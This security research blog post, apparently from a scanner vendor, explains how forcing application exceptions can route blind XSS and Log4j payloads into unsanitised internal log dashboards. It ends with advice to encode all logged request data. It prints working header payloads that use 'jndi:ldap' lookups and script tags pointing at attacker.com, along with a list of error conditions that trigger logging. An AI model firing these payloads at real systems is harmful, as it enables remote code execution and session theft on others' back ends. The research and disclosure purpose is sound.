Exploiting insecure exception logging
Keeping and monitoring application error logs is a fundamental practice for ensuring performance and security. But what if someone could deliberately cause errors to route their attack payloads through insecure exception logging functionality? Invicti’s Principal Security Researcher Bogdan Calin describes using this approach as a novel way of finding and exploiting vulnerabilities in internal dashboards.
Your Information will be kept private.
Your Information will be kept private.
When your web application receives a request that causes an exception, you usually want to log that request for further analysis. But what if the request contains an attack payload? If you don’t sanitize the request data before logging, it could trigger vulnerabilities in back-end systems such as admin dashboards. Intrigued by an accidental finding during scanning, I decided to investigate this technique.
A happy accident: Discovering an exception-triggered vulnerability
Before we go into the details, here is how it all began. A while back, I scanned a test website using the Acunetix web security scanner and after the scan completed, I got a notification about a blind cross-site scripting (XSS) vulnerability. Investigating the issue, I discovered that while running its security checks for blind XSS vulnerabilities, Acunetix had generated an exception in the application. The exception was then logged into an admin panel without proper HTML encoding – and my visit to this panel triggered the vulnerability.
This type of vulnerability was unique in that it was discovered unintentionally when an Acunetix blind XSS payload generated an exception. It also differed from a typical blind XSS vulnerability because normal application events are not logged into the admin panel, so an exception had to be generated before the vulnerability could be exploited.
The finding got me thinking about application exceptions – and especially about the possibilities of generating them intentionally to exploit similar vulnerabilities when exception data is logged and loaded without sanitization.
The usefulness and dangers of exception logging
In general, web application exceptions are unexpected events or errors that may occur as a web application executes, often resulting from coding errors, hardware failures, or network issues. Detailed logging of application exceptions is essential to efficient application development. Whenever an exception occurs, it can provide developers with valuable information about a defect and ways to fix it, so exception logging is extremely useful for recording the type, location, and time of an issue, along with relevant error messages and stack traces.
It is common practice to log the HTTP request responsible for generating an exception. Because the exception data is typically only displayed within internal dashboards that developers do not consider to be a significant security risk, the logged data might not be properly encoded or sanitized. If an application logs exceptions that contain user-controlled data, such as input parameters, raw HTTP requests, or error messages, attackers could try and exploit this by injecting malicious code that would only execute when developers or administrators view the exception logs.
To slip a malicious payload into exception logs to be triggered later, attackers could use a variety of exceptional conditions, such as deliberately sending requests with invalid headers or large numbers of requests. Depending on the specific vulnerability that is triggered, an attacker might be able to perform actions on behalf of the user, such as stealing session tokens or injecting client-side JavaScript for a blind XSS attack. If a Log4j-related vulnerability exists, attackers could even execute arbitrary server-side code.
Proving the concept by finding a real-life vulnerability
Using techniques described in the next section, I developed several practical attacks that allowed me to discover vulnerabilities in various bug bounty programs, including one that affected a renowned Fortune 100 company. After sending multiple requests intended to generate exceptions, I finally received a hit for a blind XSS vulnerability that existed in an internal monitoring system of the company.
With my blind XSS payload, I managed to extract HTML DOM content which revealed that my requests had triggered an event called Bad Request Spike
. The event was insecurely logged on the company’s internal dashboard. Because the recorded value of the User-Agent
header was not being properly HTML-encoded, it was directly reflected in the HTML DOM, allowing attackers to inject and execute arbitrary JavaScript code.
The consequences of a real attack exploiting this vulnerability could be very serious. Even if the application itself is not directly vulnerable to other attacks and the administrative dashboard is not externally accessible, an exception-triggered blind XSS vulnerability still makes it possible to inject arbitrary JavaScript.
Apart from XSS as used in this case, I discovered that the same payloads could also be used to find and exploit vulnerabilities in Log4j. The technique was identical, but the impact was far more severe, potentially allowing for remote code execution (RCE) on a back-end system.
Examples of exception-triggered payloads
To develop the initial idea, I began manually testing bug bounty applications for various vulnerabilities of this type – and discovered some intriguing security issues. Below are some combination payloads that incorporate both blind XSS and Log4j (in red). Injection points can include headers, parameters, and paths (the more, the better), though I generally found the most success in injecting the User-Agent
and Referer
headers:
User-Agent: ${jndi:ldap://attacker.com/log4j/1}'"></title></style></textarea></noscript></template></script><script/src="//attacker.com/bxss/1"></script>
Referer: ${jndi:ldap://attacker.com/log4j/2}'"></title></style></textarea></noscript></template></script><script/src="//attacker.com/bxss/2"></script>
Origin: ${jndi:ldap://attacker.com/log4j/3}'"></title></style></textarea></noscript></template></script><script/src="//attacker.com/bxss/3"></script>
Error conditions used to trigger vulnerabilities
There are many ways to cause an exception in the hope that it will be insecurely logged. Here is a list of some of the error conditions that I’ve found useful in testing for triggering payloads:
- Invalid Host header: Make an HTTP/S request to the IP address of the application but provide an invalid host header to trigger an exception. Here is an example of a full HTTP request that can be used to generate an invalid host header injection:
- Invalid HTTP method: Use an invalid HTTP method that may not be properly handled by the web application.
- Request without a User-agent header: The HTTP request doesn’t contain a
User-agent
header. - Request with a known bad User-agent header: The HTTP request contains a
User-agent
header that is widely used in attacks, such assqlmap/1.3.11#stable (http://sqlmap.org)
. - POST body with GET method: Send an HTTP request using the GET method but with a POST message body.
- High number of 404 Not found errors: A lot of websites have protections against automated scanners that trigger when a high number of
404 Not found
errors are detected. We might use this to our advantage to request a large number of invalid paths and inject our payloads into the HTTP headers. - High number of 500 Internal Server errors: Similar to the previous method, but in this case, we need to find an unsupported condition in the web application that will generate a
500 Internal server error
, and then make a large number of such requests. - Large number of failed login attempts: Identify a login form and try different behaviors that should trigger an exception, like sending a large number of passwords with a valid username or sending a large number of invalid usernames and passwords.
- Large number of requests in a short period: Send a large number of requests in a short period of time (e.g. 2000 requests in 5 minutes).
The future of exception-triggered vulnerabilities
The techniques described here rely on deliberately generating application exceptions as a way to store various attack payloads in exception logs. Because the logs are only intended for developers and administrators, logged request data might not be sanitized in the same way as more expected user-controlled data. This opens a whole new avenue for testing and attacks on back-end systems.
While this post only describes examples for blind XSS and RCE via Log4j, the same methods could potentially be used to exploit other vulnerabilities in internal dashboards. From an application security standpoint, the most important lesson is that all request data logged with exceptions needs to be sanitized and encoded to the same standard as other user inputs.